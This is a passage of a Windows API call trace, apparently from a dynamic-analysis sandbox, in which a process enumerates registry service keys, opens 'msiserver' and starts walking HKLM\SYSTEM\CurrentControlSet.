Size=0x40) returned 0x21f1df0 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.122] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.122] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.122] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0236.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0236.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0236.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0236.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0236.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0236.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0236.127] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0236.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0236.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0236.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0236.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0236.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0236.133] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0236.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0236.133] RegCloseKey (hKey=0x150) returned 0x0 [0236.133] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0236.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0236.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0236.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0236.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0236.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0236.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0236.133] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0236.180] RegCloseKey (hKey=0x80000002) returned 0x0 [0236.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0236.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0236.181] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.181] RegCloseKey (hKey=0xc4) returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 